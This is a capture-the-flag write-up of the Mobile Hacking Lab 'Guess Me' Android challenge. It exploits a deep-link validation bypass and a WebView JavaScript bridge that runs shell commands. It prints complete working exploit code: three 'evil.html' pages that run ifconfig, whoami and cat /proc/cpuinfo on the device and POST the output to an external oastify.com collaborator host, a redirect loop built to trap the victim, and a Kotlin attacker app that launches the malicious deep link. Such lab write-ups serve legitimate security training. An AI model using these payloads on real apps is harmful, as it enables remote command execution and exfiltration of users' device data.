Mobile Hacking Lab - Guess Me
Exploiting Deep Link Vulnerabilities for RCE on Android: A Mobile Hacking Lab CTF Challenge
Deep links are a great feature in mobile apps that let you handle custom URLs and give users a smoother experience when navigating the app. But if they’re not implemented properly, deep links can become a major security hole that allows hackers to remotely execute code on the app.
That’s exactly what the “Guess Me” challenge is all about. It’s an Android app that looks like a simple guessing game, but it has a vulnerability in how it handles deep links. And that vulnerability can be exploited to gain Remote Code Execution (RCE) on the app, giving an attacker full control.
You can access the challenge here: Mobile Hacking Lab - Guess Me
The Challenge Overview
The goal of this challenge is to analyze the deep link implementation in “Guess Me” and figure out how to craft a malicious deep link payload that lets you run arbitrary code within the app. Basically, you need to find a way to break into the app using the deep link flaw. Let’s go!
Discovery Phase
I fired up the “Guess Me” APK on my test device to get a feel for how this app works. Right off the bat, I noticed it’s a simple guessing game:
I spent a few minutes playing the game, and it was quite enjoyable not gonna lie. Successfully guessing the correct number on a few occasions was fun :D
Anyway, I noticed the little tab in the bottom right corner:
I clicked on it and instead of just opening a regular website or deeplink, the app fired up an embedded WebView component.
We can see a Thank you message, our time of visit and a link to Mobile Hacking Lab (BTW You definitely should check it out)
Clicking on the link brought me to the Mobile Hacking Lab website… As expected:
What better tool than Deeeeper to find Activites and Deep Links? Let’s run it:
Processing Activities:
com.mobilehackinglab.guessme.MainActivity (exported=true)
android.intent.action.MAIN
com.mobilehackinglab.guessme.WebviewActivity (exported=true)
android.intent.action.VIEW
mhl://mobilehackinglab
Deeeeper result was very interesting. A WebviewActivity
possesses the exported=true
attribute, enabling it to process an intent
action. This action initiates mhl://mobilehackinglab
upon invocation.
Code Analysis
Time to analyze the code in jadx-gui
MyJavaScriptInterface
This code defines a class that interacts with JavaScript running in the WebView.
Method Definition
public final String getTime(String time) {
Defines a method named getTime
that takes a String
parameter named time
and returns a String
. This method is intended to be called from JavaScript with a command or script passed as the argument. Interesting…
Parameter Check
Intrinsics.checkNotNullParameter(time, "time");
This intrinsic function checks if the time
parameter is null
, throwing an exception if it is.
Command Execution
Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", time});
Executes a shell command passed via the time
parameter. Let’s make a note!
Reading Command Output
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
Initializes a BufferedReader
to read the output of the executed command and a StringBuilder
to accumulate the output.
Output Processing Loop
while (true) {
String it = reader.readLine();
if (it != null) {
output.append(it).append("\n");
} else {
reader.close();
...
return StringsKt.trim((CharSequence) sb).toString();
}
}
Reads each line of the command’s output until there are no more lines, appending each line to output
. Once all lines are read, it closes the reader, trims the output string to remove leading and trailing whitespace, and returns it.
Exception Handling
} catch (Exception e) {
return "Error getting time and listing files";
}
Catches any exceptions that occur during the execution of the command, returning an error message.
Quite interesting especially the command execution using the time
param.
Let’s continue the analysis…
WebviewActivity
There’s quite a bit to go over, but I’ll make it quick and straightforward.
Initializing WebView
View findViewById = findViewById(R.id.webView);
this.webView = (WebView) findViewById;
Finds the WebView
component from the layout and assigns it to the webView
variable.
Enabling JavaScript
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
Obtains the WebSettings
object for the webView
and enables JavaScript execution within the WebView
.
Adding JavaScript Interface
webView.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
Adds a JavaScript interface to the WebView
for interacting with web content. This interface is named “AndroidBridge” and is from the class MyJavaScriptInterface
that we saw earlier!
Setting WebView Client
webView.setWebViewClient(new WebViewClient());
Sets a WebViewClient
for the webView
, allowing more control over loading web pages and handling URL redirections.
Setting WebChromeClient
webView.setWebChromeClient(new WebChromeClient());
Sets a WebChromeClient
to handle JavaScript dialogs, etc. It’s another way to interact with web content.
Loading Content
loadAssetIndex();
handleDeepLink(getIntent());
Initially loads a local web page from the assets directory and handles any deep links passed via the intent that started the activity.
Handling New Intent
@Override
public void onNewIntent(Intent intent) {
super.onNewIntent(intent);
handleDeepLink(intent);
}
Overrides the onNewIntent
method to handle new intents received by the activity to process deep links.
Deep Link Handling
private final void handleDeepLink(Intent intent) {
This method extracts the URI from the intent and decides whether to load a deep link or the default asset index based on the URI’s validity.
Validating Deep Links
private final boolean isValidDeepLink(Uri uri) {
if ((Intrinsics.areEqual(uri.getScheme(), "mhl") || Intrinsics.areEqual(uri.getScheme(), "https"))
&& Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
String queryParameter = uri.getQueryParameter("url");
return queryParameter != null
&& StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
}
return false;
}
Let’s focus on this method:
- This method takes a
Uri
object as its parameter and returns aboolean
value. - The method first checks the scheme of the URI. It uses
Intrinsics.areEqual
to compare the URI’s scheme against “mhl” and “https”. If the URI’s scheme is either “mhl” or “https”, the condition evaluates totrue
. - Then, it checks if the URI’s host is “mobilehackinglab”. Again, it uses
Intrinsics.areEqual
for comparison. - The
&&
operator ensures both the scheme and host validations must pass for the condition to be true. - If the URI passes the scheme and host validation, the method proceeds to validate a specific query parameter named “url.
- It retrieves the value of the “url” query parameter. If this parameter is not present,
uri.getQueryParameter("url")
will returnnull
. - The validation then checks whether the query parameter’s value ends with “mobilehackinglab.com” using the
StringsKt.endsWith$default
function. The parametersfalse, 2, (Object) null
are default values for optional parameters in theendsWith
method, controlling case sensitivity and allowing for additional internal parameters used for interoperability and default argument handling. - If the query parameter exists and its value ends with “mobilehackinglab.com”, the method returns
true
, indicating a valid deep link. :) :) - If the URI does not meet the criteria (either the scheme and host are not as expected, or the “url” query parameter does not end with “mobilehackinglab.com”), the method returns
false
, indicating the deep link is not valid. :(
That’s a lot of checks!
So the app implemented a custom method to validate incoming deep links before processing them. This validation logic performed a series of checks on the URI to ensure it met certain criteria.
First, it verified that the URI scheme was either “mhl” or “https” - no other schemes were allowed. Then, it confirmed that the URI host matched “mobilehackinglab” exactly.
But the real kicker was the query parameter check. The method expected the “url” query param to contain a value that ended with the domain “mobilehackinglab.com”.
Only if all these conditions were satisfied would the deep link be considered valid and allowed to be processed further.
Based on this validation logic, crafting a legitimate deep link required chaining together the different components:
- The scheme had to be “mhl” or “https”
- Followed by the host “mobilehackinglab”
- And a query param “url” with a value ending in “mobilehackinglab.com”
Putting it all together, a valid deep link following this format might look something like:
mhl://mobilehackinglab?url=https://evildomain/mobilehackinglab.com
Let’s continue the analysis…
Loading Deep Links
private final void loadDeepLink(Uri uri) {
If a deep link is valid, this method loads the specified URL into the webView
.
Loading Local Assets
private final void loadAssetIndex() {
Loads the “index.html” file from the application’s assets directory into the webView
.
MyJavaScriptInterface Class
public final String getTime(String Time) {
Intrinsics.checkNotNullParameter(Time, "Time");
try {
Process process = Runtime.getRuntime().exec(Time);
InputStream inputStream = process.getInputStream();
Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
InputStreamReader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
BufferedReader reader = inputStreamReader instanceof BufferedReader
? (BufferedReader) inputStreamReader
: new BufferedReader(inputStreamReader, 8192);
String readText = TextStreamsKt.readText(reader);
reader.close();
return readText;
} catch (Exception e) {
return "Error getting time";
}
}
Let’s go over this very interesting method:
- Creates a
Process
by executing the command contained in theTime
string. TheRuntime.getRuntime().exec()
method is used to execute system commands. - Class that defines methods accessible from JavaScript running within the
WebView
. It includes methods for loading the URL (loadWebsite
) and executing a command (getTime
).
First up is the getTime()
method. This one is executing some system command stored in the Time
string using Runtime.getRuntime().exec()
. Right away, that’s ringing some alarm bells - blindly executing system commands is a huge no-no from a security standpoint.
But it gets better. We’ve also got a WebViewClient
class that’s exposing methods like loadWebsite()
and getTime()
to JavaScript code running within the WebView component. Essentially, it’s providing a bridge for JavaScript to interact with the app’s Java code.
With a setup like this, I can already see a potential path to remote code execution. If I can somehow manage to inject malicious JavaScript into the WebView, I could leverage that getTime()
method to execute arbitrary commands on the device.
The loadWebsite()
method could also potentially be abused, depending on how it’s validating and loading URLs. Maybe I can find a way to load a malicious URL that kicks off the exploit chain…
Exploitation
As we know, the deep link needs to be call in a way that the application will accept. This is done via the code we just analyzed.
Let’s call the deep link via adb and see what it does, I specified the index.html
file located in assets directory:
adb shell am start -W -a android.intent.action.VIEW -d "mhl://mobilehackinglab/?url=mobilehackinglab.com/index.html" com.mobilehackinglab.guessme
It’s loading the index.html
file!
Let’s open the index.html
file to see what it contains….
I opened the .html
file in Sublime…
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<p id="result">Thank you for visiting</p>
<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>
<script>
function loadWebsite() {
window.location.href = "https://www.mobilehackinglab.com/";
}
// Fetch and display the time when the page loads
var result = AndroidBridge.getTime("date");
var lines = result.split('\n');
var timeVisited = lines[0];
var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
document.getElementById('result').innerText = fullMessage;
</script>
</body>
</html>
This is perfect to craft our exploit!
We can control the AndroidBridge.getTime
value because it’s running:
Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", time});
from the code we analyzed earlier:
webView.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
Let’s start a local server and forward the address with Ngrok.
We can copy the index.html
in htdocs
folder. Open the index.html
file in a text editor and change the value of time
to whoami
, save it:
var result = AndroidBridge.getTime("whoami");
With the first part mhl://mobilehackinglab
provided, I now had to figure out how to sneak a malicious payload into that trailing “url” query param value.
The validation method was trying its best to whitelist and sanity check the deep links. But I knew there were always ways to bypass these types of checks if you thought outside the box.
Let’s call the file with adb
. The command will be a little bit different. We have to call our URL but it needs to finish with mobilehackinglab.com
. We can bypass this way:
adb shell am start -W -a android.intent.action.VIEW -d "mhl://mobilehackinglab/?url=https://0xalmighty.ngrok.io/index.html?mobilehackinglab.com" com.mobilehackinglab.guessme
We see the app fetching the file in Ngrok log:
It worked! The application display the current user:
The Endless Loop
Alright, time to take this exploit to the next level. I wanted to create a payload that would keep the victim trapped in a never-ending loop of misery until they had no choice but to close the app entirely.
To achieve this diabolical plan, I crafted 3 separate HTML files and dropped them into the htdocs
directory of my testing environment.
evil.html
evil2.html
evil3.html
The first file, evil.html
, would serve as the initial entry point for the attack. This page would load up some malicious JavaScript that would kick off the endless loop shenanigans. From there, it would display the result of ifconfig
and send the output to my Burp Collaborator, the page display a link that the victim will click to be redirected to evil2.html
, which would instantly display the output of the whoami
command, sending the output to my Burp Collabo, another link is displayed to bounce them over to evil3.html
. And then evil3.html
would display the content of the cpuinfo
file and send the output to my Burp Collabo, the link displayed will loop them right back to evil.html
, restarting the cycle all over again. The only way to stop the madness would be to force quit the app entirely.
evil.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<a href="#" onclick="loadWebsite()">Click here to regain control</a>
<br><br>
</head>
<body>
<p id="result">Hacked by 0xAlmighty</p>
<script>
function loadWebsite() {
window.location.href = "https://0xalmighty.ngrok.io/evil2.html";
}
var exploit1 = AndroidBridge.getTime("ifconfig");
var lines = exploit1.split('\n');
var timeVisited = lines[0];
var fullMessage = "You got hacked by 0xAlmighty :( \n\n I control your device \n\nProof:\n\n " + exploit1;
document.getElementById('result').innerText = fullMessage;
sendOutputToServer(exploit1, "https://l0m5v0qzr6wmmshgay8xscdnler5fw3l.oastify.com");
function sendOutputToServer(output, serverUrl) {
var xhr = new XMLHttpRequest();
xhr.open("POST", serverUrl, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log("Output sent successfully");
} else {
console.error("Failed to send output")
}
};
xhr.send("output=" + encodeURIComponent(output));
}
</script>
</body>
</html>
For the initial evil.html file, I decided to keep things simple but devious. This would be the first page loaded into the vulnerable WebView, so I wanted to kick things off with a bang.
First, I injected some JavaScript that would execute the ifconfig
command using the exposed getTime()
method we discovered earlier. This would immediately dump the network configuration details on the page and send the output to my Collaborator, giving me a glimpse into the victim’s network setup.
evil2.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<a href="#" onclick="loadWebsite()">You have to click again here</a>
<br><br>
</head>
<body>
<p id="result">Hacked by 0xAlmighty</p>
<script>
function loadWebsite() {
window.location.href = "https://0xalmighty.ngrok.io/evil3.html";
}
var exploit2 = AndroidBridge.getTime("whoami");
var lines = exploit2.split('\n');
var timeVisited = lines[0];
var fullMessage = "You got hacked by 0xAlmighty :( \n\n I still control your device \n\nProof:\n\n " + exploit2;
document.getElementById('result').innerText = fullMessage;
sendOutputToServer(exploit2, "https://l0m5v0qzr6wmmshgay8xscdnler5fw3l.oastify.com");
function sendOutputToServer(output, serverUrl) {
var xhr = new XMLHttpRequest();
xhr.open("POST", serverUrl, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log("Output sent successfully");
} else {
console.error("Failed to send output")
}
};
xhr.send("output=" + encodeURIComponent(output));
}
</script>
</body>
</html>
As soon as evil2.html
loaded into the WebView, it kicked things off by executing the whoami
command using that exposed getTime()
method. This would reveal the current user name.
evil3.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<a href="#" onclick="loadWebsite()">Exit</a>
<br><br>
</head>
<body>
<p id="result">Hacked by 0xAlmighty</p>
<script>
function loadWebsite() {
window.location.href = "https://0xalmighty.ngrok.io/evil.html";
}
var exploit3 = AndroidBridge.getTime("cat /proc/cpuinfo");
var lines = exploit3.split('\n');
var timeVisited = lines[0];
var fullMessage = "You got hacked by 0xAlmighty :( \n\n I will always control your device!!!!!!!! \n\nProof:\n\n " + exploit3;
document.getElementById('result').innerText = fullMessage;
sendOutputToServer(exploit3, "https://l0m5v0qzr6wmmshgay8xscdnler5fw3l.oastify.com");
function sendOutputToServer(output, serverUrl) {
var xhr = new XMLHttpRequest();
xhr.open("POST", serverUrl, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
console.log("Output sent successfully");
} else {
console.error("Failed to send output");
}
alert("I OWN YOUR DATA!!!!");
}
};
xhr.send("output=" + encodeURIComponent(output));
}
</script>
</body>
</html>
Now, evil3.html
loads, it immediately trigger the cat /proc/cpuinfo
command via the exposed getTime()
method. This allowed me to capture detailed information about the CPU and system specs of the victim’s device. It also trigger an alert box because why not?
It also contain the component of my redirect trap - an “Exit” link to look like the victim’s way out of this nightmarish cycle. As soon as the exhausted victim frantically smashed that “Exit” link, they’d be promptly redirected back to the very first stage - evil.html
.
Let’s build an app to make the whole thing more fun!
The Endless Loop App
Package and Imports
package com.guessme.poc
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
- Define the package name:
com.guessme.poc
. - Imports necessary Android classes for handling intents, URI, UI components (like Toast), and activity support.
Class Declaration
class MainActivity : AppCompatActivity() {
- Declares a class
MainActivity
that extendsAppCompatActivity
, a base class for activities that use the support library action bar features.
Overriding onCreate
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
...
}
- Overrides the
onCreate
method ofAppCompatActivity
, which is called when the activity is starting. This is where the initial setup is done, such as creating the views. savedInstanceState
is a Bundle that contains the state of the activity. If the activity is being re-initialized after previously being shut down, this Bundle contains the data it most recently supplied inonSaveInstanceState(Bundle)
. Otherwise, it is null.
Launching Deep Link
val deepLinkUri = "mhl://mobilehackinglab/?url=https://0xalmighty.ngrok.io/evil.html?mobilehackinglab.com"
val targetAppPackageName = "com.mobilehackinglab.guessme"
launchDeepLinkWithSpecificApp(deepLinkUri, targetAppPackageName)
- The URI that represents the deep link we intend to navigate to through the scheme
mhl://
. - Specifies the package name
com.mobilehackinglab.guessme
that should handle the deep link. - Calls a custom method
launchDeepLinkWithSpecificApp
with the deep link URI and the package name of the target application.
launchDeepLinkWithSpecificApp Method
private fun launchDeepLinkWithSpecificApp(deepLinkUri: String, packageName: String) {
val intent = Intent(Intent.ACTION_VIEW).apply {
data = Uri.parse(deepLinkUri)
setPackage(packageName)
}
safelyStartActivity(intent)
}
- Creates an intent with the action
Intent.ACTION_VIEW
, which indicates that the intent is to view the data specified in the intent. - Sets the data of the intent to the parsed URI of the deep link.
- Specifies that this intent should only be handled by an application with the given package name.
- Calls a custom method
safelyStartActivity
to attempt to start an activity with the created intent.
safelyStartActivity Method
private fun safelyStartActivity(intent: Intent) {
try {
startActivity(intent)
} catch (e: Exception) {
e.printStackTrace()
Toast.makeText(this, "App not installed or cannot handle this action.", Toast.LENGTH_LONG).show()
}
}
- Attempts to start the activity with the intent inside a try-catch block to handle any exceptions that might occur.
- If an exception occurs, it logs the stack trace and shows a
Toast message
to the victim indicating that the app is not installed or cannot handle the action.
Full Code
package com.guessme.poc
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val deepLinkUri = "mhl://mobilehackinglab/?url=https://0xalmighty.ngrok.io/evil.html?mobilehackinglab.com"
val targetAppPackageName = "com.mobilehackinglab.guessme"
launchDeepLinkWithSpecificApp(deepLinkUri, targetAppPackageName)
}
private fun launchDeepLinkWithSpecificApp(deepLinkUri: String, packageName: String) {
val intent = Intent(Intent.ACTION_VIEW).apply {
data = Uri.parse(deepLinkUri)
setPackage(packageName)
}
safelyStartActivity(intent)
}
private fun safelyStartActivity(intent: Intent) {
try {
startActivity(intent)
} catch (e: Exception) {
e.printStackTrace()
Toast.makeText(this, "App not installed or cannot handle this action.", Toast.LENGTH_LONG).show()
}
}
}
The only thing we have to do is to start the local server, Ngrok and launch the malicious app!
PoC Video
Instead of taking thousand of screenshots, I recorded this short video display how the exploit worked
Conclusion
Another amazing challenge by Mobile Hacking Lab!
The “Guess Me” challenge serves as a reminder of the severe consequences that can arise from improper deep link implementation in mobile applications. What seemed like a harmless guessing game app harbored a critical vulnerability that allowed attackers to achieve remote code execution and take complete control of the device.
Deep links, while providing a seamless user experience, can become a double-edged sword if not handled with utmost care and security in mind. The “Guess Me” app fell victim to this pitfall, exposing a deep link vulnerability that could be exploited to inject malicious payloads and execute arbitrary code within the app’s context.
This challenge highlights the importance of secure coding practices, thorough input validation, and a defense-in-depth approach when implementing deep link functionality. Developers must treat deep links as potential attack vectors and implement robust security measures to prevent unauthorized access and code execution.
On to the next challenge :)